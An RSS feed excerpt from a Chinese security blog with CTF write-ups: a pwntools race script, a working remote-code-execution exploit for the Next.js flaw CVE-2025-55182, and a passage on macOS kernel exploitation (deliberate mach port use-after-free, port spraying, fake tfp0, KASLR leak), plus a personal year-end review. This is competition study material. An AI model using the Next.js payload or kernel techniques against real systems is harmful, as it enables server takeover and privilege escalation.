                try:
                    print(&#34;QR data:&#34;, r.data.decode(&#34;utf-8&#34;))
                except Exception:
                    print(&#34;QR raw bytes:&#34;, r.data)
        else:
            print(&#34;pyzbar did not find a QR code.&#34;)
    except Exception as e:  # noqa: BLE001
        print(f&#34;(Skipping QR decode: {e})&#34;)


if __name__ == &#34;__main__&#34;:
    main()</code></pre><h3 id="pwn">Pwn</h3><h4 id="password-only">password only</h4><p>手速题</p><p>不过谁家好人在二进制里写的socket监听呢</p><pre><code class="language-python" data-language="python">#!/usr/bin/env python3
from pwn import *
import time

context.log_level = &#34;info&#34;
# HOST, PORT = &#34;127.0.0.1&#34;, 8888
HOST, PORT = &#34;06a37270f1b2.target.yijinglab.com&#34;, 57657

def login(r, user, pwd):
      r.recvuntil(b&#34;Available commands&#34;)
      r.sendline(f&#34;LOGIN {user} {pwd}&#34;.encode())

def toggler():
      r = remote(HOST, PORT)
      login(r, &#34;admin&#34;, &#34;admin123&#34;)
      r.sendline(b&#34;TOGGLE_ADMIN&#34;)
      return r

def reader():
      r = remote(HOST, PORT)
      login(r, &#34;user1&#34;, &#34;pass123&#34;)
      time.sleep(0.1)
      log.info(&#34;reader: sending READ_FLAG with dummy signature&#34;)
      r.sendline(b&#34;READ_FLAG&#34;)
      dummy_sig = b&#34;0&#34; * 512
      r.recvuntil(b&#34;hex string):&#34;)
      r.sendline(dummy_sig)
      data = r.recvrepeat(1)
      print(data.decode(errors=&#34;ignore&#34;))
      r.close()


t = toggler()
reader()
t.close()</code></pre><h3 id="web">Web</h3><h4 id="freestyle">freestyle</h4><p>看了下用的nextjs 16.0.6，affected by CVE-2025-55182</p><p>于是直接出了，有两种做法，grep flag或者拿token都行</p><pre><code class="language-python" data-language="python">import requests
import sys
import json

BASE_URL = &#34;http://981f50bbeadc.target.yijinglab.com/&#34;
# BASE_URL = &#34;http://localhost:3000&#34;
EXECUTABLE = &#34;grep -r flag{ .next&#34;
EXECUTABLE = &#34;echo token ${globalThis.CTF_CHALLENGE_TOKEN}&#34;
crafted_chunk = {
    &#34;then&#34;: &#34;$1:__proto__:then&#34;,
    &#34;status&#34;: &#34;resolved_model&#34;,
    &#34;reason&#34;: -1,
    &#34;value&#34;: &#39;{&#34;then&#34;: &#34;$B0&#34;}&#39;,
    &#34;_response&#34;: {
        &#34;_prefix&#34;: f&#34;var res = process.mainModule.require(&#39;child_process&#39;).execSync(`{EXECUTABLE}`,{{&#39;timeout&#39;:5000}}).toString().trim(); throw Object.assign(new Error(&#39;NEXT_REDIRECT&#39;), {{digest:`${{res}}`}});&#34;,
        &#34;_formData&#34;: {
            &#34;get&#34;: &#34;$1:constructor:constructor&#34;,
        },
    },
}

files = {
    &#34;0&#34;: (None, json.dumps(crafted_chunk)),
    &#34;1&#34;: (None, &#39;&#34;$@0&#34;&#39;),
}

headers = {&#34;Next-Action&#34;: &#34;x&#34;}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
print(json.loads(res.text.splitlines()[1][3:])[&#34;digest&#34;])</code></pre><p>前几天没看这个漏洞，但是今天一看在nextjs勾石一样的请求套娃下，这个poc简直太优雅了，似乎react server还会麻烦一点。</p>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <category domain="https://nvme0n1p.dev/tags/ctf">CTF</category>
            <category domain="https://nvme0n1p.dev/tags/ji-shu">技术</category>
            <category domain="https://nvme0n1p.dev/tags/ti-jie">题解</category>
            <category domain="https://nvme0n1p.dev/cats/ti-jie">题解</category>
            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/2025-hitctf-wp.png" />
        </item>
        <item>
            <title><![CDATA[2025年终总结]]></title>
            <link>https://nvme0n1p.dev/posts/2025-annual-conclusion</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/2025-annual-conclusion</guid>
            <pubDate>Sun, 30 Nov 2025 13:48:12 GMT</pubDate>
            <description><![CDATA[]]></description>
            <content:encoded><![CDATA[<p>写下这行字开始似乎又是年底了啊。</p><p>今年又pick up了一些奇怪的习惯？这个学期每两天去游一次泳，上半学期隔一天跑一次4km，自行车似乎受不起我长期折腾，没有怎么出去骑，但今年确实生病少多了。</p><p>然后开了一些新地图——去上海经历了一段有意思的实习，同时还有一份远程的工作。在上海体验了台风，以及周末跑出去逛街，吃好吃的，打羽毛球…总之超级有意思。</p><p>拿了很多奖！国赛不说了，xctf打了好多，还进了final，强网杯也进了final，虽然成绩并不靠前但是学了一些新东西。</p><p>学了挺多东西：做了一个kernel pwn（但其实看了十几个不同的解法），写了一个react的简单实现，照着rcore写了一个操作系统，又学了南京大学的《软件分析》课程，把太阿实验课的题做完了。也接触到了更多的ios/xnu相关的有意思的东西。</p><p>还认识了许多新朋友，在杭州/上海和某几个推友一起玩了好几次，还在Geekcon上面积了好多志同道合的大佬们。</p><p>嗯其实还有…在有空的周末进行一个随机散步开地图，看看长春还有什么有意思的东西…?</p><p>其实感觉最大的反而是ai的发展。谁能想到大家感觉最震撼的DeepSeek已经是一年前的东西了，而在这一年里，chatgpt，claude，gemini都有了各种impressive的agent出现，thinking模型已经从前沿的能力变成了basic…在安全赛场上使用模型做题也是让人印象深刻，可以看到我前段时间的文章里有很多题都是它们完成的。<s>不得不说我的行业预感是对的，看到一年前我就预测今年agent会发展得非常快。 </s>但是遗憾我没有参加腾讯云的agent渗透大赛，感觉那个也非常好玩呀。</p><p>不知道剩下的该写什么了，那就翻翻相册写流水账吧</p><h3 id="1-yue">1月</h3><p>考完试回家，装了一辆自行车在家里，一年骑了两次🤡</p><p>然后把没考完的半个驾照考完了</p><p>出去和高中同学打桌游</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/a8f1894e9b424c25162af1d8a0c7942e.webp" width="1280" height="2276" /></figure><p>过年，被家里人拉出去玩</p><p>被拉到一个朋友家里去喂猫猫</p><h3 id="2-yue">2月</h3><p>开车出去玩了几次，似乎是这个时候办的vnctf出了一道题但是其实有锅（额</p><p>骑车</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/bc42245e5ed6764b7c121057750797b1.webp" width="1260" height="949" /></figure><h3 id="3-yue">3月</h3><p>学了清华的rCore，照着写了个操作系统程序（kernel + 内存管理 + fs）。</p><p>去天津比赛。嗯好像吃了顿好的</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/bc93e4a1535079ebf5e630fac7aa5cad.webp" width="2276" height="1280" /></figure><h3 id="4-yue">4月</h3><p>随便投了点简历，但是也没找到工作。然后这两个月高强度在寝室玩cs，还都是打的平台。</p><p>还有杏花节，才开了一树花就下雪，真好看</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/e82218ad445cd0f26901aaca8285fca4.webp" width="1280" height="853" /></figure><p>五一之前去了福州比赛，顺便去了厦门<s>结果报销还没报下来</s></p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/b488b691b409057fdb16fc7e9438507b.webp" alt="厦门" width="1280" height="2276" /><figcaption>厦门</figcaption></figure><h3 id="5-yue">5月</h3><p>五一劳动节开始天天跑步我记得是，于是可以拍到一些贼好看的照片</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/3835673bcaa215f82e490fe6ce84cb84.webp" alt="拍了背影想必小姐姐不会生气吧" width="2276" height="1280" /><figcaption>拍了背影想必小姐姐不会生气吧</figcaption></figure><p>听了很多企业的安全沙龙，学了一些东西但似乎没啥用。</p><p>然后买了两条32g的d5内存，才花了1000块。<s>早知道我就买十条了</s></p><h3 id="6-yue">6月</h3><p>莫名奇妙找到了两份实习，一个远程一个线下。</p><p>然后就是在你🐔宿舍被热似的一个期末月，，怎么能这么热啊。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/51a0ff11ab6ccff16b162fa31f633ca9.webp" alt="喜欢你35度的寝室吗？" width="1440" height="1080" /><figcaption>喜欢你35度的寝室吗？</figcaption></figure><p>还买了个大玩具，quest3s，虽然也没咋玩。体验下来也就那样吧，必须得配游戏，但是有点买不起.jpg</p><p>后面看到一个kernel exp可以拿root试了下差点没变砖</p><p>顺带提一嘴6月热梗是“露比酱～嗨～纳尼噶suki？”</p><h3 id="7-yue">7月</h3><p>然后飞上海，第一次沪漂（xxx</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/ada5b55d8854cfe6b0bfdbd1fcd4e721.webp" alt="开局一张床，装备全靠买" width="1280" height="2276" /><figcaption>开局一张床，装备全靠买</figcaption></figure><p>发现真没说错，才开始上班的小孩子特别喜欢拍下班时候看到的夕阳。<s>但是工作一天看到好看的天空确实很开心呢</s></p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/531612894422ca63238da0e1cc253270.webp" alt="这绿化是真不错吧" width="1280" height="2276" /><figcaption>这绿化是真不错吧</figcaption></figure><p>去找呆在上海的朋友玩，还吃了亿点点萨莉亚。上海的二次元氛围是真的很浓。</p><p>顺便逛了逛，南京路百联什么的卖的都是一样的东西超级贵，没拍。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/aea0f8d68d92eef08e2f58a2d51bd90c.webp" width="2276" height="1280" /></figure><p>还有一次下班之后溜出去吃牛new，四个人没吃回本，真服了</p><p>周末又去了杭州，嗯走了半圈西湖，然后坐上了推友的副驾，也好玩</p><p>住的楼底下有一辆痛车和一辆gtr，都是一个人的。（非常有意思是车主老哥有一天看着我一直在观察拉着我上车让我开…？婉拒但是加了富哥的微信）</p><p>肝进了xctf final。真厉害喵，我们是第一个学校战队。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/fc4423f0711d987809be91e942952d80.webp" width="1561" height="445" /></figure><p>参加了一个riscv shanghai conference，领了两件衣服（到现在还在穿）晚上回去还发现达摩院在我们公司旁边omg。</p><p>然后还抽空去打了国赛，一个第三一个第九，不赖。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/066ae8bfd447ff6a4f5239f4a2b9406b.webp" width="1707" height="1280" /></figure><p>坐高铁回来的路上遇见一对母子，蹭他们的平板重温了一遍疯狂动物城1（<s>没想到十一月2就上映了</s>）</p><h3 id="8-yue">8月</h3><p>去了静安寺旁边那一块找朋友，顺便拍了点照片（）</p><p>从砍砍那收了一台13mini，开启了我的ios研究。</p><p>然后还有好看的china joy！（对不起把coser小姐姐拍得太难看了我不好意思放进来呜呜呜）</p><p>实验室买了五台加起来好几十万的服务器。</p><p>还有防御塔（</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/97b915f1a0226fc358bfcf87700b3de3.webp" width="2275" height="1280" /></figure><p>快月底了还有好看的gossip暑期学校</p><p>吃了一顿一百块的散伙饭，贵死了，但是猪排很好吃（家乡的味道，哦一西xxx</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/e9b2a856a8e463f5198d1b359c39b881.webp" width="960" height="1280" /></figure><p>最后去深圳打鸿蒙ctf。<s>华为还是太有钱了</s>。第一次住上喜来登大酒店</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/7e72595c002eb53f0b7d06eea018b5b7.webp" width="1280" height="1707" /></figure><p>但是有人没带港澳通行证。遗憾，开卡计划失败。</p><h3 id="9-yue">9月</h3><p>买了一台mac mini，还收到了球球送的咖啡，然后搬到校外去住了</p><p>顺便开了宽带，折腾了下光猫软路由什么的，顺便把懒猫拿过来了，把系统扬了换成了飞牛。</p><p>还买了索尼xm5，保暖神器，虽然我不知道它能不能这么耐造Orz</p><h3 id="10-yue">10月</h3><p>国庆节回家了，见了好多人（？</p><p>其实就几个</p><p>然后面试挂了一个超级简单的链表反转，我真傻。</p><p>又去了上海参加geekcon，希望以后不要长途跋涉来这种地方了😭</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/ca4ef409f2a9b85290cf0e5be5a3558c.webp" width="1707" height="1280" /></figure><p>没记错就这几天刀皮市场爆了一次。</p><p>然后去打xctf final，去了宁波，我没啥发挥，主要是我们的二进制手在做题。最后没想到solo是第二。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/562979e2a694640fe8e43adc1c9aa559.webp" alt="借一张你的图不介意吧" width="1707" height="1280" /><figcaption>借一张你的图不介意吧</figcaption></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/ccfd12be17ac7215f09887ac5813a92c.webp" width="1080" height="1254" /></figure><p>买了iphone 17，长焦嘛…我有相机。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/bda6b0667fef340bf47e92cfd604eec1.webp" width="1080" height="1272" /></figure><h3 id="11-yue">11月</h3><p>办了我们今年的第二场校赛</p><p>又出去郑州打了强网杯决赛，差了好多分，其实有机会拿二等奖的。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/2e744d72dd2901914276c8b9c59030c0.webp" width="1280" height="1707" /></figure><p>还有神秘雪王大楼</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/259bc306b47cba15710fed682db28020.webp" width="1280" height="1706" /></figure><p>后来复现了强网杯的kernel pwn，学了好多东西</p><h3 id="12-yue">12月</h3><p>期末月，没啥说的。</p><p>有人考前半天才知道今天考试，没复习过来….？</p><p>然后还有一大本计算机网络，祝我成功。</p><p>大概就这些了吧，期末月偶尔出去转转，也没什么意思</p><h3 id="qi-ta-de">其他的？</h3><p>追番：芙莉莲，时光饭，龙女仆，狼与香辛料，药屋少女，更衣人偶2，母鸡卡，gqux，高达0079，gto，我独自升级2</p><p>游戏：cs2，鸭科夫，文明6，喵斯，地平线4，死亡细胞，黑猴，雀魂，幽灵行者，欧卡，三角洲，VRC，真人快打11，明日方舟</p><h3 id="xin-nian-xin-flag">新年新flag</h3><p>每周写report（但是不一定要发出来</p><p>每天一个leetcode，加练</p><p>学更多pwn，希望能有其他方向了。</p><p>如果可以的话，试试写一个react native的应用？</p><p>明年要准备考研了，工作暂时就不找了罢…</p>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <category domain="https://nvme0n1p.dev/tags/nian-jian">年鉴</category>
            <category domain="https://nvme0n1p.dev/tags/sheng-huo">生活</category>
            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/2025-annual-conclusion.png" />
        </item>
        <item>
            <title><![CDATA[强网杯nostalgic题解]]></title>
            <link>https://nvme0n1p.dev/posts/osx-zero-to-krw</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/osx-zero-to-krw</guid>
            <pubDate>Thu, 27 Nov 2025 13:47:48 GMT</pubDate>
            <description><![CDATA[]]></description>
            <content:encoded><![CDATA[<p>起因是赛后复现强网杯的某个osx题目。</p><p>首先看代码，按照出题人的说法是故意改出来的洞，其他内存洞都不能用。</p><h3 id="uaf-fen-xi-yan-zheng">UAF分析+验证</h3><pre><code class="language-diff" data-language="diff">diff ipc_tt_org.c ipc_tt.c
1424a1425,1438
&gt; ipc_port_t
&gt; port_name_to_kport(mach_port_name_t name) {
&gt;       ipc_port_t kport;
&gt;       if (MACH_PORT_VALID(name))
&gt;       {
&gt;               if (ipc_object_copyin(current_space(), name,
&gt;                                                         MACH_MSG_TYPE_COPY_SEND,
&gt;                                                         (ipc_object_t *)&amp;kport) != KERN_SUCCESS)
&gt;                       return (0);
&gt;               return kport;
&gt;       }
&gt;       return 0;
&gt; }
&gt; 
1724a1739,1741
&gt;                       if (old_port[i] == new_port) {
&gt;                               continue;
&gt;                       }
1738,1739c1755,1759
&lt;               if (IP_VALID(old_port[i]))
&lt;                       ipc_port_release_send(old_port[i]);
---
&gt;               if (IP_VALID(old_port[i])) {
&gt;                       if (((old_port[i]-&gt;ip_object).io_references) &gt; 0) {
&gt;                               ipc_port_release(old_port[i]);
&gt;                       }
&gt;               }
1741,1742c1761,1765
&lt;       if (IP_VALID(new_port))          /* consume send right */
&lt;               ipc_port_release_send(new_port);
---
&gt;       if (IP_VALID(new_port)) {        /* consume send right */
&gt;               if (((new_port-&gt;ip_object).io_references) &gt; 0) {
&gt;                       ipc_port_release(new_port);
&gt;               }
&gt;       }
</code></pre><p>丢给gpt一番分析大概知道了这个地方是个machport uaf。</p><blockquote>💡 </blockquote><blockquote>关于reference和send right的解释，可以看这篇文章</blockquote><blockquote><a href="https://highaltitudehacks.com/2020/06/01/from-zero-to-tfp0-part-2-a-walkthrough-of-the-voucher-swap-exploit.html" rel="nofollow noreferrer" target="_blank">From zero to tfp0 - Part 2: A Walkthrough of the voucher_swap exploit</a></blockquote><blockquote>In this article, we will get an in-depth look at the voucher_swap vulnerability and all the steps leading up to getting the kernel task port.</blockquote><blockquote>Reference counting is a form of simple yet effective memory management. It is basically a way to keep a count of the number of references to an object held by other objects. If an object’s reference count reaches zero, the object will be freed. Creating or Copying an object will increase its reference count by 1, whereas destroying a reference or overwriting the object will decrement its reference count by 1. In systems with limited memory, reference counting can prove more efficient than garbage collection (which happens in cycles and can be time consuming) , because objects can be claimed as soon as their reference count becomes zero, and this improves overall responsiveness of the system.</blockquote><blockquote>嗯大概意思是，对于每一块分配出去的内存有一个引用计数：当引用计数为0时说明当前内存可以再次被分配。当进行一次拷贝时，reference + 1，</blockquote><blockquote>另外对于send rights，这是一个关于machport的属性。如果一个对象有send right，那么它可以在用户态被操作。于是可以非常完美地解释这个修改造成的问题。</blockquote><blockquote>我们考虑重复调用两次task_set_exception_ports(self, mask, victim, …)这个函数。</blockquote><blockquote><strong>修改前</strong>：第一次：内核复制一份 → +1 send right
ipc_port_release_send(new_port)	释放调用者的那份 → -1 send right</blockquote><blockquote>第二次：再复制一份给 task → +1
释放旧的 exc_actions[x].port	第一次留下的那份 -1
最后 你手上仍无send right可释放影响较小</blockquote><blockquote><strong>修改后</strong>：第一次： 内核复制一份 → +1 send right</blockquote><blockquote><strong>ipc_port_release 直接减少reference</strong></blockquote><blockquote>第二次：send right不增加，但是old和new都再减少一次reference。</blockquote><blockquote><strong>当reference变成0时，task_port_t这块内存就被free了。</strong></blockquote><blockquote>这个时候我们再通过heap fengshui把这块区域的控制重新拿回来，因为send right还在，内核仍然认为这个port是有效的，我们可以修改内容，<strong>变成我们期望的task，比如tfp0！</strong></blockquote><p>于是迅速写了一坨验证exp：</p><pre><code class="language-c++" data-language="c++"> // clang -Wall -O2 -o poc poc.c
  #include &lt;mach/mach.h&gt;
  #include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  #include &lt;unistd.h&gt;

  static mach_port_t make_port(void) {
      mach_port_t p = MACH_PORT_NULL;
      kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &amp;p);
      if (kr != KERN_SUCCESS) { fprintf(stderr, &#34;alloc: %s\n&#34;, mach_error_string(kr)); return MACH_PORT_NULL; }
      kr = mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
      if (kr != KERN_SUCCESS) { fprintf(stderr, &#34;insert: %s\n&#34;, mach_error_string(kr)); return MACH_PORT_NULL; }
      return p;
  }

  static void exhaust_refs(mach_port_t p) {
      exception_mask_t mask = EXC_MASK_BAD_ACCESS;
      task_set_exception_ports(mach_task_self(), mask, p, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
      for (int i = 0; i &lt; 8; i++) {
          task_set_exception_ports(mach_task_self(), mask, p, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
      }
      mach_port_mod_refs(mach_task_self(), p, MACH_PORT_RIGHT_RECEIVE, -1);
  }

  int main(void) {
      mach_port_t victim = make_port();
      if (victim == MACH_PORT_NULL) return 1;

      exhaust_refs(victim);
      puts(&#34;[*] port should now be dangling, sending to it to trigger UAF/panic...&#34;);

      struct {
          mach_msg_header_t hdr;
      } msg;
      memset(&amp;msg, 0, sizeof(msg));
      msg.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
      msg.hdr.msgh_size = sizeof(msg);
      msg.hdr.msgh_remote_port = victim;

      kern_return_t kr = mach_msg(&amp;msg.hdr, MACH_SEND_MSG, msg.hdr.msgh_size, 0,
                                  MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
      fprintf(stderr, &#34;mach_msg returned: %s\n&#34;, mach_error_string(kr));
      pause(); // 如果没马上 panic，可保持进程存活观察
      return 0;
  }
</code></pre><p>发现创建的普通port只需要循环设置两次就没有了，但是仍然有用户态的name（理解为指针）指向这个“不存在的port”</p><p>于是尝试spray进行port风水的检查，发现可以稳定在一轮里spray后重新get这个name可以保证它success。</p><pre><code class="language-c++" data-language="c++">// clang -Wall -O2 -o poc poc.c
#include &lt;mach/mach.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdint.h&gt;
#include &lt;sys/mman.h&gt;
#include &lt;errno.h&gt;
#include &lt;sys/sysctl.h&gt;


static mach_port_t make_port(void) {
    mach_port_t p = MACH_PORT_NULL;
    kern_return_t kr;

    kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &amp;p);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, &#34;[-] alloc: %s\n&#34;, mach_error_string(kr));
        return MACH_PORT_NULL;
    }

    kr = mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, &#34;[-] insert: %s\n&#34;, mach_error_string(kr));
        return MACH_PORT_NULL;
    }
    // printf(&#34;[+] make_port -&gt; name=%d\n&#34;, p);
    return p;
}

static int probe_port(const char *label, mach_port_t name) {
    natural_t type = 0;
    mach_vm_address_t addr = 0;
    kern_return_t kr;

    kr = mach_port_kobject(mach_task_self(), name, &amp;type, &amp;addr);

    printf(&#34;[*] probe %-12s: name=%d kr=%d (%s) type=%u kaddr=0x%llx\n&#34;,
           label, name, kr, mach_error_string(kr),
           type, (unsigned long long)addr);
    if (kr != KERN_SUCCESS) {
        return 0;
    }
    return 1; 
}

static void dump_port_limits(const char *label, mach_port_t name) {
    struct mach_port_limits limits;
    mach_msg_type_number_t count = MACH_PORT_LIMITS_INFO_COUNT;
    kern_return_t kr;

    kr = mach_port_get_attributes(mach_task_self(), name,
                                  MACH_PORT_LIMITS_INFO,
                                  (mach_port_info_t)&amp;limits, &amp;count);
    if (kr != KERN_SUCCESS) {
        printf(&#34;[*] limits %-12s: name=%d get_attributes -&gt; %s\n&#34;,
               label, name, mach_error_string(kr));
        return;
    }
    printf(&#34;[*] limits %-12s: name=%d qlimit=%u\n&#34;,
           label, name, limits.mpl_qlimit);
}
__attribute__((noinline))
static void trigger_bad_access(void) {
    volatile int *p = (int *)0x0;
    *p = 0xdeadbeef;
}

#define SPRAY_MAX 0x6000
static mach_port_t spray_arr[SPRAY_MAX];
static size_t spray_cnt;
static mach_port_t uaf_port = MACH_PORT_NULL;
static int reuse_idx = -1;
static void *fake_port_page = NULL;
static uint64_t kernel_slide = 0;
static uint64_t k_ipc_space_kernel = 0;
static uint64_t k_kernel_task = 0;

#define UNSLID_REALHOST          0xffffff80008bddc0
#define UNSLID_IPC_SPACE_KERNEL  0xffffff80008bac80
#define UNSLID_KERNEL_TASK       0xffffff80008c5168


static size_t spray_with_make_port(size_t want) {
    if (want &gt; SPRAY_MAX) want = SPRAY_MAX;
    size_t ok = 0;
    for (; ok &lt; want; ok++) {
        mach_port_t p = make_port();
        if (p == MACH_PORT_NULL) {
            fprintf(stderr, &#34;[-] make_port failed @%zu\n&#34;, ok);
            break;
        }
        spray_arr[ok] = p;
    }
    spray_cnt = ok;
    printf(&#34;[*] sprayed %zu ports\n&#34;, ok);
    return ok;
}

static void tag_spray_ports(void) {
    for (size_t i = 0; i &lt; spray_cnt; i++) {
        mach_port_context_t ctx = 0x133700000000ULL | i;
        kern_return_t kr = mach_port_set_context(mach_task_self(), spray_arr[i], ctx);
        if (kr != KERN_SUCCESS) {
            fprintf(stderr, &#34;[-] set_context %zu: %s\n&#34;, i, mach_error_string(kr));
        }
    }
}

static int detect_reuse_from_uaf(void) {
    mach_port_context_t ctx = 0;
    kern_return_t kr = mach_port_get_context(mach_task_self(), uaf_port, &amp;ctx);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, &#34;[-] get_context uaf: %s\n&#34;, mach_error_string(kr));
        return -1;
    }
    if ((ctx &amp; 0xFFFF00000000ULL) == 0x133700000000ULL) {
        int idx = (int)(ctx &amp; 0xFFFF);
        printf(&#34;[+] UAF chunk reused by spray_arr[%d] name=%d ctx=0x%llx\n&#34;,
               idx, spray_arr[idx], (unsigned long long)ctx);
        reuse_idx = idx;
        return idx;
    }
    printf(&#34;[-] no hit yet, ctx=0x%llx\n&#34;, (unsigned long long)ctx);
    return -1;
}


// 把命中的端口 free 掉，为后续 freelist 污染做准备
static void free_reused_port(void) {
    if (reuse_idx &lt; 0) {
        puts(&#34;[-] reuse_idx not set&#34;);
        return;
    }
    kern_return_t kr = mach_port_destroy(mach_task_self(), spray_arr[reuse_idx]);
    printf(&#34;[*] destroy reused port name=%d -&gt; %s\n&#34;, spray_arr[reuse_idx], mach_error_string(kr));
    spray_arr[reuse_idx] = MACH_PORT_NULL;
}

static void make_uaf_port(mach_port_t victim) {
    puts(&#34;[*] make_uaf_port&#34;);
    kern_return_t kr;
    probe_port(&#34;victim&#34;, victim);
    exception_mask_t mask = EXC_MASK_BAD_ACCESS;
    kr = task_set_exception_ports(mach_task_self(), mask, victim, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
    printf(&#34;[*] 0. task_set_exception_ports() -&gt; %s\n&#34;, mach_error_string(kr));
    for (int i = 0; i &lt; 2; i++) {
        kr = task_set_exception_ports(mach_task_self(), mask, victim, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
        printf(&#34;[*] %d. task_set_exception_ports() -&gt; %s\n&#34;, i+1, mach_error_string(kr));
        probe_port(&#34;victim&#34;, victim);
    }
    puts(&#34;[*] done&#34;);
}
int main(void) {
    puts(&#34;[*] Stage 1: Create ports and trigger UAF&#34;);
    mach_port_t victim = make_port();
    if (victim == MACH_PORT_NULL) {
        printf(&#34;[-] make_port failed\n&#34;);
        return -1;
    }
    uaf_port = victim;
    make_uaf_port(victim);

    puts(&#34;[*] Stage 3: Spray and detect reuse&#34;);
    spray_with_make_port(0x3000);
    tag_spray_ports();
    detect_reuse_from_uaf();
    if (reuse_idx &gt;= 0) {
    }
    return 0;
}
</code></pre><p>于是到这里也是稳定能够复用端口，可以看到reuse_idx这里能找到内容。</p><h3 id="li-yong-si-lu-jiang-jie">利用思路讲解</h3><p>用户态有一个mach name，在内核里的进程控制块（linux的PCB）task port中，有一块空间用来做“从mach name到mach port内存“的映射 </p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/bf693c6904927ab8b93b78e0e9fdc125.webp" width="1469" height="530" /></figure><p>在进行两次解引用后，内核处理模块只处理了mach port 内存（因为内存这里已经没有io_reference，相当于不能用了），但是因为破坏了原来的逻辑，这里并不会对这个映射有影响。于是进入了这个状态</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/c3334d85dcc66c179c3d33001615f7a3.webp" width="1469" height="530" /></figure><p>由于内存page分配原理（和buddy system差不多），这里如果这一个page都是空闲的，那么kalloc大概率会分到这一块page。所以这里我们用一个其他的内存中结构体（如IOSurface，sock_opt虽然还没有调通），进行大量kalloc和写入，就<strong>有机会</strong>把这一块内存占用，变成我们可读写的内存，如下：</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/ca7abea920e3879cf7ddc71e0654e163.webp" width="1507" height="530" /></figure><p>在我们做到可读写这一块之后，我们构造一个恶意的task port结构体：它有pid = 0，全宇宙最高权限的task port ⇒ tfp0，刚好放在dangling pointer指向的地方，再用我们用户态的mach name进行操作时，内核会<strong>误认为</strong>它是一个天然存在的结构体，从而不拒绝执行对它的操作。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/f60a4632169cf2aec79c18b013759019.webp" width="1507" height="530" /></figure><p>而后我们就有了内核任意读任意写原语：有了它你可以把我们本身的task结构体中权限修改成0→提权，可以关掉amfi，coretrust，…相当于关闭所有<strong>运行时 安全</strong>检查，这就是越狱。</p><p>可以看出，我们现在离真正提权还差了几步：1. 现代系统中一般都会对内核地址做随机化处理防止直接被使用。2. 怎么样保证写入进去的task port“刚刚好”落在我们需要的这篇区域上？3. 怎么样构造一个完美的tfp0？</p><h3 id="kaslr-nei-he-ji-zhi-xie-lu">KASLR→内核基址泄露</h3><p>首先我们需要一些方法来泄露内核基址。卡了很久，最后在project zero里找到了一篇关于Safari的内核pwn题。</p><p><a href="https://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html" rel="nofollow noreferrer" target="_blank">pwn4fun Spring 2014 - Safari - Part II</a></p><p>Posted by Ian Beer      TL;DR    An OS X GPU driver trusted a user-supplied kernel C++ object pointer and called a virtual function. The I...</p><p>从这里面找到了kaslr的泄露方法：</p><pre><code class="language-c++" data-language="c++">static kern_return_t slide_leak(void) {
    INFO(&#34;leaking kernel slide...&#34;);
    FILE *fp;
    char buf[512];
    uint64_t leaked_address = 0;
    fp = popen(&#34;ioreg -l | grep IOPlatformArgs&#34;, &#34;r&#34;);
    if (!fp) {
        ERROR(&#34;popen failed&#34;);
        return KERN_FAILURE;
    }
    if (!fscanf(fp, &#34;%*[^&lt;]&lt;%511[^&gt;]&gt;&#34;, buf)) {
        ERROR(&#34;parse_slide: fgets failed&#34;);
        pclose(fp);
        return KERN_FAILURE;
    }
    pclose(fp);
    char reversed[17] = {0};
    for (int i = 0; i &lt; 8; i++) {
        reversed[i*2]   = buf[14 - i*2];
        reversed[i*2+1] = buf[15 - i*2];
    }
    leaked_address = strtoull(reversed, NULL, 16);
    slide = leaked_address - UNSLID_DT_ADDR;
    SUCCESS(&#34;calculated kernel slide: 0x%llx&#34;, (ull)slide);
